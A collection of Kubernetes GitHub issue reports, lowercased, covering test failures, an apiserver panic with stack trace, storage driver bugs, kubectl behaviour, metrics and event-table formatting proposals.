https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-autoscaling/89/  failed:  k8s.io  cluster size autoscaling  slow  should disable node pool autoscaling  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:89 expected error:     < errors.errorstring | 0xc8209c2000>: {         s: \ autoscaler not enabled\ ,     }     autoscaler not enabled not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:86

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow-release-1.5/576/  run so broken it didn't make junit output!

discovered in kubernetes-incubator/client-python 85\r \r some types are missing fields in generated openapi spec. for example v1.configmapkeyselector is missing a name field. this is due to ignoring fields with empty json name tag while most  if not all  of these members also have \ inline\  tag meaning we should inline their members into the generated type.\r \r cc @kubernetes/sig-api-machinery-misc

go through all the federation e2e tests and add   serial   label to the ones that must be run serially. anything not labelled with   serial   will be run in the parallel suite.\r \r this is part of an effort to make the federation e2e tests parallelizable. issue  40765.\r \r cc @kubernetes/sig-federation-bugs @shashidharatd \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r update using patch\r scalesimple\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.3 for both client and server\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r version_id=\ 14.04\ \r    \r -   kernel    e.g.  uname -a  :    linux 4.4.0-75-generic  96~14.04.1-ubuntu smp x86_64 x86_64 x86_64 gnu/linux   \r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r current implementation uses put instead of patch when running  kubectl scale , which may result in validation errors when running client and server of   different   versions. we currently round-trip the entire spec from the yaml file to change number of replicas. instead, we can use patch and change only the  replicas  field.\r \r   what you expected to happen  :\r use patch when scaling replicas.\r \r   how to reproduce it    as minimally and precisely as possible :\r n/a\r \r   anything else we need to know  :\r i will work on this. : \r

bug report  :\r  \r   what happened  :\r when creating portworx volumes using their command line utility  pxctl , many parameters like  io_  io_profile ,  scale  etc can be given. there are documented in detail  here  https://docs.portworx.com/control/volume.html pxctl-volume-create .\r \r the current portworx volume driver handles only a subset of these paramters specified through the storageclass. for certain parameters like  io_ a bug in the driver in k8s source causes the value specified by end-user to be dropped and always create a low  \r   what you expected to happen  :\r all volume parameters that are supported by the  pxctl cli  https://docs.portworx.com/control/volume.html pxctl-volume-create  should be supported and parsed correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a persistentvolumeclaim with following storage class.\r    \r       portworx storage class\r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r     name: px-test-sc\r provisioner: kubernetes.io/portworx-volume\r parameters:\r    repl: \ 3\ \r    io_priority: \ high\ \r ---\r       portworx persistent volume claim\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r    name: px-test-pvc\r    annotations:\r      volume.beta.kubernetes.io/storage-class: px-test-sc\r spec:\r    accessmodes:\r      - readwriteonce\r    resources:\r      requests:\r        storage: 1gi\r    \r now use  /opt/pwx/bin/pxctl volume list  on any node in the portworx cluster and observe that the volume has a io  low. this should have been high.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6 and above\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools: any\r

is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r trying to upgrade from 1.6.7 to 1.7.3, using hyperkube api-server with the same configuration hit this error:\r \r    \r 2017-08-15 06:25:19.419583 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-08-15 06:25:19.419727 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-08-15 06:25:19.419759 i | proto: duplicate proto type registered: google.protobuf.timestamp\r i0815 06:25:19.462371       1 server.go:112  version: v1.7.3+coreos.0\r i0815 06:25:19.462685       1 aws.go:806  building aws cloudprovider\r i0815 06:25:19.462737       1 aws.go:769  zone not specified in configuration file; querying aws metadata service\r i0815 06:25:19.603659       1 tags.go:76  aws cloud filtering on clusterid: mycluster\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x48 pc=0x16653e6 \r \r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle.  lifecycle .setexternalkubeinformerfactory 0xc42079dd40, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle/admission.go:203 +0x26\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer.plugininitializer.initialize 0x8fcc9a0, 0xc420775600, 0x0, 0x0, 0x8f7c760, 0xc420eb81e0, 0x8f86160, 0xc42079dd40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer/initializer.go:49 +0x112\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer.  plugininitializer .initialize 0xc420ce0d80, 0x8f86160, 0xc42079dd40 \r \t<autogenerated>:1 +0x70\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.plugininitializers.initialize 0xc420ec22a0, 0x2, 0x2, 0x8f86160, 0xc42079dd40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:180 +0x5d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugininitializers .initialize 0xc420ec22c0, 0x8f86160, 0xc42079dd40 \r \t<autogenerated>:18 +0x73\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .initplugin 0xc4202aae10, 0xc420409580, 0x12, 0x0, 0x0, 0x8f7c620, 0xc420ec22c0, 0x413390, 0xc420ec22a0, 0xc420ec2260, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:155 +0x20c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .newfromplugins 0xc4202aae10, 0xc42043b5e0, 0x7, 0x7, 0x8f7c660, 0xc42079d200, 0x8f7c620, 0xc420ec22c0, 0x0, 0xc420cd8480, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:129 +0x126\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options.  admissionoptions .applyto 0xc420cf5470, 0xc42088ca80, 0xc420ec2260, 0x2, 0x2, 0x8fc5300, 0xc420f60900 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options/admission.go:84 +0x453\r k8s.io/kubernetes/cmd/kube-apiserver/app.buildgenericconfig 0xc420483c00, 0x0, 0x0, 0x0, 0x2, 0x1, 0x0, 0x1, 0xc420d39d60, 0xc420d7cbd0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:448 +0x1150\r k8s.io/kubernetes/cmd/kube-apiserver/app.createkubeapiserverconfig 0xc420483c00, 0x0, 0x0, 0x8f76ba0, 0xc42024d860, 0x0, 0x6d17640, 0x28, 0x6cf0bcc, 0x5, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:254 +0xa9\r k8s.io/kubernetes/cmd/kube-apiserver/app.run 0xc420483c00, 0xc4200560c0, 0xc420ce99f8, 0xc4200ccff0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:119 +0x143\r main.newkubeapiserver.func1 0xc42014c660, 0xc420799140, 0x0, 0xc, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/kube-apiserver.go:36 +0x36\r main.  hyperkube .run 0xc420204a20, 0xc4200100f0, 0xc, 0xc, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:177 +0x3ec\r main.  hyperkube .runtoexit 0xc420204a20, 0xc4200100e0, 0xe, 0xe \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:187 +0x59\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/main.go:47 +0x847\r    \r \r   what you expected to happen  :\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r start apiserver with  namespacelifecycle , it panic:\r    \r --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds\r    \r \r after removing  namespacelifecycle , it works:\r    \r --admission-control=limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds\r    \r \r \r   anything else we need to know?  :\r the pod startup script:\r /etc/kubernetes/manifests/kube-apiserver.yml\r    yml\r apiversion: v1\r kind: pod\r metadata:\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-apiserver\r     image: quay.io/coreos/hyperkube:v1.7.3_coreos.0 \r     command:\r     - /hyperkube\r     - apiserver\r     - --cloud-provider=aws\r     - --insecure-bind-address=0.0.0.0\r     - --insecure-port=8080\r     - --anonymous-auth=false\r     - --secure-port=0\r     - --apiserver-count=3 \r     - --etcd-servers=http://etcd-cluster:2379\r     - --allow-privileged=true\r     - --service-cluster-ip-range=10.123.0.0/16\r     - --advertise-address=10.0.233.106\r     - --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds\r     - --runtime-config=extensions/v1beta1=true,extensions/v1beta1/networkpolicies=true\r     ports:\r     - containerport: 443\r       hostport: 443\r       name: https\r     - containerport: 8080\r       hostport: 8080\r       name: local\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  docker image -> quay.io/coreos/hyperkube:v1.7.3_coreos.0\r \r - cloud provider or hardware configuration  : aws\r \r - os   /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1409.7.0\r version_id=1409.7.0\r build_id=2017-07-19-0005\r pretty_name=\ container linux by coreos 1409.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux ip-10-0-233-106.ec2.internal 4.11.11-coreos  1 smp tue jul 18 23:06:59 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r - install tools:\r  custom setup\r \r \r

this is a follow-up to https://github.com/kubernetes/kubernetes/pull/51250, where i asked that all original tarball have there associated sha1 files staged with them.\r \r i am can d/l\r \r https://storage.googleapis.com/kubernetes-release/network-plugins/cni-plugins-amd64-v0.6.0.tgz.sha1\r \r but i am unable to d/l\r \r https://storage.googleapis.com/kubernetes-release/network-plugins/cni-07a8a28637e97b22eb8dfe710eeae1344f69d16e.tar.gz.sha1\r \r and\r \r https://storage.googleapis.com/kubernetes-release/network-plugins/cni-0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff.tar.gz.sha1\r \r can we please have those two sha1 files uploaded to object store.  we also now have two different naming conventions which is confusing to users, but we can address that in another issue.\r \r /assign @freehan @ixdy @luxas \r 

aws ebs volume may not be deleted when controller-manager is restarted at wrong time.\r \r 1. have dynamically provisioned pvc.\r 2. delete the pvc.\r 3. controller deletes underlying ebs.\r 4. restart controller before it deletes associated pv.\r 5. controller finds pv that needs to be deleted and calls cloud provider to do so.\r \r -> aws cloud provider returns error that the volume has been already deleted\r -> the pv is not deleted and stays failed forever.\r \r aws cloud provider should be idempotent and treat \ not found\  error as success.\r \r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r  test grid  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-slow&include-filter-by-regex=%5eoverall%24%7c%5c%5bsig%5c-storage%5c%5d%5c%20volume%5c%20plugin%5c%20streaming%5c%20%5c%5bslow%5c%5d%5c%20glusterfs%5c%20should%5c%20write%5c%20files%5c%20of%5c%20various%5c%20sizes%5c%2c%5c%20verify%5c%20size%5c%2c%5c%20validate%5c%20content \r test logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/17143\r

is this a bug report  :\r https://k8s-testgrid.appspot.com/sig-cluster-lifecycle-all kubeadm-gce-1.12  & \r https://k8s-testgrid.appspot.com/sig-cluster-lifecycle-all kubeadm-gce-master \r \r have been failing since we pr'd job changes to test-infor\r \r  \r   what happened  :\r kubernetes-anywhere deployment appears to be failing on cni deployment of weave in the test. \r \r here is what happens: \r init of master  success  \r join of nodes  success  \r deployment of weave  success  \r verification of nodes ready  fail  \r  - on inspection of the nodes i do not see cni pods getting started. \r \r it's difficult to diagnose, b/c i do not see the api-server+controller-manager+scheduler logs to diagnose\r \r   what you expected to happen  :\r non-failure \r \r /cc @kubernetes/sig-cluster-lifecycle @kubernetes/test-infra-admins @kubernetes/release-admins  @neolit123 @fabriziopandini  \r \r right now i'm totally blocked on other work, so i need to hand-off some of the investigations \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&text=testattacherwithcsidriver\r \r    \r e0308 05:14:42.798363      15 csi_attacher.go:207  kubernetes.io/csi: attachment for vol02 failed: attacher error\r e0308 05:14:54.451156      15 csi_attacher.go:188  kubernetes.io/csi: attacher.waitforattach timeout after 15s  volume=vol01; attachment.id=csi-75f1d3164ac9ae6f73784b2ed6b77839daf5b01a8dd52e787c8769b6fdb1b8ec \r e0308 05:14:55.586363      15 csi_attacher.go:188  kubernetes.io/csi: attacher.waitforattach timeout after 15s  volume=vol02; attachment.id=csi-8d666355799344c2b14819eb973950d28cf52f4d3a58e3fbeb8b92e29851fa17 \r e0308 05:14:56.686716      15 csi_attacher.go:188  kubernetes.io/csi: attacher.waitforattach timeout after 15s  volume=vol02; attachment.id=csi-fd8097578f4563d9a74d4e7ba8397c32e42b2cea4ae677f8ccb4ba12bbd0008f \r e0308 05:14:58.015137      15 csi_attacher.go:188  kubernetes.io/csi: attacher.waitforattach timeout after 15s  volume=test-vol; attachment.id=csi-ee944121dabf8fe14295e9f2c7675639d989a9a6b2f5cee459cfbcd4b61e9b6b \r --- fail: testattacherwithcsidriver  15.43s \r     --- fail: testattacherwithcsidriver/csidriver_is_attachable  15.10s \r         csi_attacher_test.go:273: attach   failed: attachment timeout for volume test-vol\r         csi_attacher_test.go:276: expected attachid, got nothing\r    \r \r  

is this a bug report or feature request?    choose one : feature request  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : master    anything else do we need to know  : cleanups have been discussed in  33276

feature request  \r \r right now the kublet has wonderful container network metrics available on :10250/metrics. they look like this:\r \r    \r container_network_receive_bytes_total{container_name=\ pod\ ,id=\ /docker/071efb9a6f23660fbe2d7c467014047199c43b738377884f70cffa87fb12231d\ ,image=\ gcr.io/google_containers/pause-amd64:3.0\ ,interface=\ cali219ebf6ead7\ ,name=\ k8s_pod.d8dbe16c_kube-apiserver-fohn.cmd.nu_kube-system_554739cd0d280dac79c4164928497f0b_3b46221c\ ,namespace=\ kube-system\ ,pod_name=\ kube-apiserver-fohn.cmd.nu\ } 1.74892610746e+11\r ...\r container_network_receive_bytes_total{container_name=\ pod\ ,id=\ /docker/071efb9a6f23660fbe2d7c467014047199c43b738377884f70cffa87fb12231d\ ,image=\ gcr.io/google_containers/pause-amd64:3.0\ ,interface=\ eno1\ ,name=\ k8s_pod.d8dbe16c_kube-apiserver-fohn.cmd.nu_kube-system_554739cd0d280dac79c4164928497f0b_3b46221c\ ,namespace=\ kube-system\ ,pod_name=\ kube-apiserver-fohn.cmd.nu\ } 6.77326392398e+11\r ...\r container_network_receive_bytes_total{container_name=\ pod\ ,id=\ /docker/0c651e1717ed927a7db581f1eb66d507437f9b7116dec07d806a57729dccfd46\ ,image=\ gcr.io/google_containers/pause-amd64:3.0\ ,interface=\ eno1\ ,name=\ k8s_pod.d8dbe16c_kube-controller-manager-fohn.cmd.nu_kube-system_d7a905765bf317b4333abae612a544f5_19c2dc2b\ ,namespace=\ kube-system\ ,pod_name=\ kube-controller-manager-fohn.cmd.nu\ } 6.77328972021e+11\r ...\r container_network_receive_bytes_total{container_name=\ pod\ ,id=\ /system.slice/var-lib-rkt-pods-run-2adcdbf3\\\\x2d3225\\\\x2d4a1c\\\\x2d9eca\\\\x2dd699dcd45267-stage1-rootfs-opt-stage2-hyperkube-rootfs-var-lib-docker-containers-af3125411f7a0846409eeafe2fb4c0458e5a90f024d72670090f5c3cf9e65c31-shm.mount\ ,image=\ gcr.io/google_containers/pause-amd64:3.0\ ,interface=\ eth0\ ,name=\ k8s_pod.d8dbe16c_flood-0_media_762f8ca1-c850-11e6-b7c2-ac162d706004_5100aa07\ ,namespace=\ media\ ,pod_name=\ flood-0\ } 6.08575213e+08\r    \r \r i handpicked four metric instances above: two for apiserver, one for kube-controller-manager, and one for a normal pod named \ flood-0\ .\r \r the first three use \ hostnetwork: true\  which means that the interface counters they export are the same, as can be seen above  look at interface=\ eno1\ , slight difference due to ongoing traffic in sampling i assume . the last one is from the pod itself  interface=\ eth0\  .\r \r the problem:\r when operating on these counters it is up to the end-user to know what pods are sharing interfaces  hostnetwork: true  and which are reporting only for themselves.\r \r proposed solution s :\r a. make the containers only take into account the bytes produced by the specific pod, even in the case of hostnetwork: true. not sure if this is feasible, but would be the best solution.\r b. provide an easy way for users to tell if the pod is using shared interfaces, by for example adding \ host_network=\ 1\  as a label.\r \r

i am running  make test-cmd  locally which is failing with the following error:\r \r    \r error: failed to run kubelet: failed to create kubelet: failed to listen on \ /var/run/dockershim.sock\ : listen unix /var/run/dockershim.sock: bind: permission denied\r    \r \r is this expected?\r is there a way to change that path?\r \r cc @yujuhong @kubernetes/sig-node-bugs

i am creating a deployment in the extensions group and when i do a  kubectl edit  or  kubectl patch , the defaults from the apps group are applied. normal updates work fine  tried  kubectl scale  .\r http://pastebin.com/csngszxk\r note the additional  progressdeadlineseconds  and  revisionhistorylimit  fields\r \r cc: @kubernetes/sig-api-machinery-misc @soltysh \r

bug report \r in google cloud random pods sometimes have env key  google_application_credentials  not set.  using gcloud logging in aspnetcore .\r \r master version: 1.5.4\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r \r \r > system.invalidoperationexception: the application default credentials are not available. they are available if running in google compute engine. otherwise, the environment variable google_application_credentials must be defined pointing to a file defining the credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\r \r env variable  google_application_credentials  is not set in pod \r \r   what you expected to happen  :\r \r this should always be in pod, maybe it happens on kubernetes startup but it seems not the case, it seems to happen randomly.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r randomly add aspnetcore build images to kubernetes which log to gcloud.\r \r   anything else we need to know  :\r \r it seems very random when it happens. some pods crash because it happens on startup, for other pods it happens only on kestrel requests so the requests fails because of this. but the pods keeps running.

feature request  \r \r hi \r \r is there any plans to update the  github.com/vishvananda/netlink  https://github.com/vishvananda/netlink/  vendor package to newer version ? i would like to use the  linksetalias  https://github.com/vishvananda/netlink/blob/master/link_linux.go l242  that was added in recent version to tag/alias the veth interfaces on node and in pod namespace for easier identification and troubleshooting. \r \r thank you.\r

i finally lost it with the events table:\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t\t\t--------\t------\t\t-------\r   10m\t\t10m\t\t1\tdefault-scheduler\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned oauth-proxy-4-build to localhost.localdomain\r   10m\t\t10m\t\t1\tkubelet, localhost.localdomain\tspec.containers{docker-build}\tnormal\t\tpulled\t\tcontainer image \ openshift/origin-docker-builder:v3.6.0-alpha.2\  already present on machine\r   10m\t\t10m\t\t1\tkubelet, localhost.localdomain\tspec.containers{docker-build}\tnormal\t\tcreated\t\tcreated container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   10m\t\t10m\t\t1\tkubelet, localhost.localdomain\tspec.containers{docker-build}\tnormal\t\tstarted\t\tstarted container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   10m\t\t10m\t\t1\tbuild-controller\t\t\t\t\t\tnormal\t\tbuildstarted\tbuild default/oauth-proxy-4 is now running\r   10m\t\t10m\t\t1\tbuild-controller\t\t\t\t\t\tnormal\t\tbuildcompleted\tbuild default/oauth-proxy-4 completed successfully\r   8m\t\t8m\t\t1\tkubelet, localhost.localdomain\t\t\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ oauth-proxy-4-build_default 2196c024-5496-11e7-8b4d-080027893417 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r   8m\t\t8m\t\t1\tkubelet, localhost.localdomain\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r    \r \r a couple of things are wrong here. \r \r 1. we are using tabs.  no.  tabs are bad.  we have a tab writer for a reason, to write spaces that are better than tabs in every way   47716 \r 2. the subobjectpath column is a giant wat.  wastes 20% of horizontal real estate and conveys almost zero useful info.  that's what  kubectl get events -o yaml  is for.\r 3. the first three columns give me the same info over and over.  it should be compact, and remove useless info\r 4. reason and type are actually important for scanning, they should probably be up front.\r \r here's a quick revision that corrects these flaws  except for 4, which i'm not positive i like yet .  if an event is repeated it's  2m  x5 since 15m  , although that may be too terse.  regardless, we shouldn't waste column real-estate unless an event is repeated.\r \r    \r events:\r   when  from                            type     reason          message\r   ----  ----                            ----     ------          -------\r   38m   default-scheduler               normal   scheduled       successfully assigned oauth-proxy-4-build to localhost.localdomain\r   38m   kubelet, localhost.localdomain  normal   pulled          container image \ openshift/origin-docker-builder:v3.6.0-alpha.2\  already present on machine\r   38m   kubelet, localhost.localdomain  normal   created         created container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   38m   kubelet, localhost.localdomain  normal   started         started container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   38m   build-controller                normal   buildstarted    build default/oauth-proxy-4 is now running\r   38m   build-controller                normal   buildcompleted  build default/oauth-proxy-4 completed successfully\r   36m   kubelet, localhost.localdomain  warning  failedmount     unable to mount volumes for pod \ oauth-proxy-4-build_default 2196c024-5496-11e7-8b4d-080027893417 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r   36m   kubelet, localhost.localdomain  warning  failedsync      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r    \r \r edit: i think i like 4 better\r \r    \r events:\r   type     reason          when  from                            message\r   ----     ------          ----  ----                            -------\r   normal   scheduled       46m   default-scheduler               successfully assigned oauth-proxy-4-build to localhost.localdomain\r   normal   pulled          45m   kubelet, localhost.localdomain  container image \ openshift/origin-docker-builder:v3.6.0-alpha.2\  already present on machine\r   normal   created         45m   kubelet, localhost.localdomain  created container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   normal   started         45m   kubelet, localhost.localdomain  started container with id 6af9e84999255d4c6270cd8da00896344d2c118656690e602b38d652b6998f5e\r   normal   buildstarted    45m   build-controller                build default/oauth-proxy-4 is now running\r   normal   buildcompleted  45m   build-controller                build default/oauth-proxy-4 completed successfully\r   warning  failedmount     43m   kubelet, localhost.localdomain  unable to mount volumes for pod \ oauth-proxy-4-build_default 2196c024-5496-11e7-8b4d-080027893417 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r   warning  failedsync      43m   kubelet, localhost.localdomain  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ oauth-proxy-4-build\ . list of unattached/unmounted volumes= docker-socket builder-dockercfg-xtqsh-push builder-dockercfg-xtqsh-source-image0 builder-token-327kh \r

there's an option to filter a get request with labels, but there's no example on how to do it, especially when need to filter based on more than one label. so for instance, this works for filtering based on one label: http://localhost:8080/api/v1beta3/services?labels=component=apiserver  but what is the right syntax to filter based on 2 labels?

 \r any resource without a domain name or with  kubernetes.io/  domain name should continue to be treated as first class. everything else could be treated as integer resources, until a future api allows specifying whether a resource is integral/fractional.\r \r  opaque integer resources  https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/ opaque-integer-resources-alpha-feature   also called oir, alpha in v1.5.0 , is implemented by special-casing resources with a certain prefix. since the default scheduler currently handles all resources except cpu as integers, this could be codified as default behavior for resources that do not belong to the  kubernetes.io/  namespace. this would reduce the proliferation of very similar code in admission control, scheduler predicates, kubelet, kubectl, etc. when adding support for additional classes of resources, such as resources advertised by extensions. the initial use case is the upcoming alpha device plugin interface. resources advertised via device plugins will share the  extensions.kubernetes.io/  namespace.\r \r   related issues:  \r    feature: extension to support new compute resources  https://github.com/kubernetes/features/issues/368 \r    proposal: hardware accelerators  https://github.com/kubernetes/community/pull/844 \r \r cc @vishh @renaudwastaken @thockin @davidopp

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r    \r admindemacbook-pro-2:kubectl admin$ kubectl describe sa admin\r name:         admin\r namespace:    default\r labels:       <none>\r annotations:  <none>\r \r image pull secrets:  <none>\r \r mountable secrets:   admin-token-drw9x\r \r tokens:              admin-token-drw9x\r \r events:  <none>\r    \r \r   what you expected to happen  :\r    \r admindemacbook-pro-2:kubectl admin$ ./kubectl describe sa admin\r name:                admin\r namespace:           default\r labels:              <none>\r annotations:         <none>\r image pull secrets:  <none>\r mountable secrets:   admin-token-drw9x\r tokens:              admin-token-drw9x\r events:              <none>\r    \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

handlepodupdates seems not a in-place update of pod.what does it actually do?it's a rolling-update? or it is in reponsibility of updating pod status?i was confused.\r \r 

